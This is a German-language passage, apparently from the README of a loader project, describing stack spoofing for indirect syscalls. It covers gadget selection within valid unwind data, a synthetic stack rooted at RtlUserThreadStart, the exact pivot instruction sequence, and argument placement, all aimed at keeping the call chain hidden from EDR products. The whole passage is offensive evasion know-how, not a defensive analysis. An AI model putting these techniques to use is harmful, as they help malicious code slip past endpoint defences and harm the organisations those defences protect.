- **Gadget 2** — `jmp rbx` (`FF E3`), per Roh-Byte-Scan in einer beliebigen ausführbaren Sektion lokalisiert, aber nur akzeptiert, wenn die passende Stelle in einer `RUNTIME_FUNCTION` liegt, deren `UNWIND_INFO` sauber geparst wird. Das `allocDelta` der Funktion bestimmt, wo `RtlUserThreadStart` auf dem synthetischen Stack platziert wird; ein Gadget ohne passende Runtime-Funktion würde also die EDR-sichtbare Kette brechen. In die Mitte einer längeren Instruktion zu springen ist in Ordnung — die CPU dekodiert `FF E3` ab der Gadget-Adresse, unabhängig vom vorherigen Byte.
2. Ein statisches `g_SpoofSyntheticStack[32]` ist so angeordnet, dass das `ret` des Trampolins gadget1 → gadget2 → zurück zum Fortsetzungspunkt des Loaders läuft, wobei `RtlUserThreadStart` weiter unten als scheinbare Thread-Wurzel platziert ist.
3. Jeder Aufruf von `HellsHallSyscall` (wenn Spoofing aktiviert ist) führt `push rbx; lea rbx, AfterJmpPoint; mov [g_SpoofSavedRsp], rsp; lea rsp, g_SpoofSyntheticStack; jmp r11` aus. Der Kernel sieht einen RSP, der in den synthetischen Stack zeigt, verankert in legitimem ntdll-Code.
4. Stack-basierte Syscall-Argumente (5..10) werden aus dem Aufrufer-Frame *vor* dem Pivot an den synthetischen Stack an den Offsets `0x28..0x50` übergeben — ohne dies würde der Kernel Gadget-Adressen als Argumente lesen und `STATUS_ACCESS_VIOLATION` zurückgeben.
```
---
[Read more](https://github.com/longwayhomie/polyengine)